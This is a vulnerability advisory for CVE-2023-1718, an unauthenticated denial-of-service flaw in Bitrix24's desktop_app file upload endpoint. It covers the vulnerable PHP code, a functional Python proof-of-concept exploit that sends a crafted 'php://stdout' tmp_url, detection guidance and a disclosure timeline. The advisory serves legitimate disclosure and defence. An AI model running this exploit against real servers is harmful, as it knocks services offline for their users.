Summary:

Product Bitrix24
Vendor Bitrix24
Severity High
Affected Versions Bitrix24 22.0.300 (latest version as of writing)
Tested Versions Bitrix24 22.0.300 (latest version as of writing)
CVE Identifier CVE-2023-1718
CVE Description Improper file stream access in /desktop_app/file.ajax.php?action=uploadfile in Bitrix24 22.0.300 allows unauthenticated remote attackers to cause denial-of-service via a crafted “tmp_url”.
CWE Classification(s) CWE-835 Loop with Unreachable Exit Condition (‘Infinite Loop’)
CAPEC Classification(s) CAPEC-545 Pull Data from System Resources

CVSS3.1 Scoring System:

Base Score: 7.5 (High) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) None
Integrity (I) None
Availability (A) High

Vulnerability Details:

This report presents information on a Denial of Service (DoS) vulnerability that allows an attacker cause the affected webserver to be unresponsive due to excessive computing resource consumption.

Unauthenticated users may use the file upload functionality provided by the /desktop_app/file.ajax.php?action=uploadfile. In addition to files uploaded within the request, files can also be specified by their URL. These files will then by downloaded and saved. This URL is specified in the tmp_url field of the supplied file object.

The checkFile function is eventually called on the file object:

// bitrix/modules/main/lib/ui/uploader/file.php line 590

public static function checkFile(&$file, File $f, $params)
{
    $result = new Result();
    if ($file["error"] > 0)
        $result->addError(new Error(File::getUploadErrorMessage($file["error"]), "BXU347.2.9".$file["error"]));
    else if (array_key_exists("tmp_url", $file))
    {
        $url = new Uri($file["tmp_url"]); // [1]
        if ($url->getHost() == '' && 
            ($tmp = \CFile::MakeFileArray($url->getPath())) && // [2]
            is_array($tmp))
        {
            $file = array_merge($tmp, $file);
        }
        // ...
    }
    // ...
}

In [1], the URL supplied in tmp_url is parsed. The path of the URL is then passed to CFile::MakeFileArray in [2].

// bitrix/modules/main/classes/general/file.php line 1734

public static function MakeFileArray($path, $mimetype = false, $skipInternal = false, $external_id = "")
{
    $io = CBXVirtualIo::GetInstance();
    $arFile = array();

    if(intval($path)>0)
    {
        // ...
    }

    $path = preg_replace("#(?<!:)[\\\\\\/]+#", "/", $path);

    if($path == '' || $path == "/")
    {
        return NULL;
    }

    if(preg_match("#^(php://filter|phar://)#i", $path))
    {
        return NULL;
    }

    if(preg_match("#^(http[s]?)://#", $path))
    {
        // ...
    }
    elseif(preg_match("#^(ftp[s]?|php)://#", $path)) // [3]
    {
        if($fp = fopen($path,"rb"))
        {
            $content = "";
            while(!feof($fp)) // [4]
            {
                $content .= fgets($fp, 4096);
            }

            if($content <> '')
            {
                // ...
            }

            fclose($fp);
        }
    }
    else
    {
        // ...
    }

    // ..
}

If the path starts with ftp://, ftps:// or php://, control flow enters the branch at [3]. The file is then opened with fopen, and its contents are read in chunks of 4096 bytes until the EOF marker is reached ([4]).

However, if an attacker specifies the PHP stream php://stdout, the EOF marker will never be reached as the stream is a write-only stream. Therefore, the program will enter an infinite loop as !feof($fp) will always be true.

This will result in the process handling the request consuming as much compute time as it is allowed, preventing the handling of other legitimate requests.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that results in Denial of Service via resource exhaustion on the target server.

A sample exploit script is shown below:

# Bitrix24 Improper File Stream Access DoS (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/desktop_app/file.ajax.php?action=uploadfile
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random

import requests
import re

HOST = "http://localhost:8000"
SITE_ID = "s1"

PROXY = {"http": "http://localhost:8080"}


def preauth(s):
    res = s.get(HOST)
    return re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), res.text).group(
        1
    )


def DoS(session, sessid):
    CID = random.randint(0, pow(10, 5))
    session.post(
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
            "bxu_files[0][files][default][tmp_url]": f"a:php://stdout",
            "bxu_files[0][files][default][tmp_name]": f"file{CID}",
        },
        proxies=PROXY,
    )


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = preauth(s)
    print("[+] Launching DoS...")
    DoS(s, sessid)

Exploit Conditions:

This vulnerability can be exploited by unauthenticated users.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by examining traffic logs to detect the presence of php://stdout or file:///dev/stdout in request bodies.

Credits

Lam Jun Rong & Li Jiantao of of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release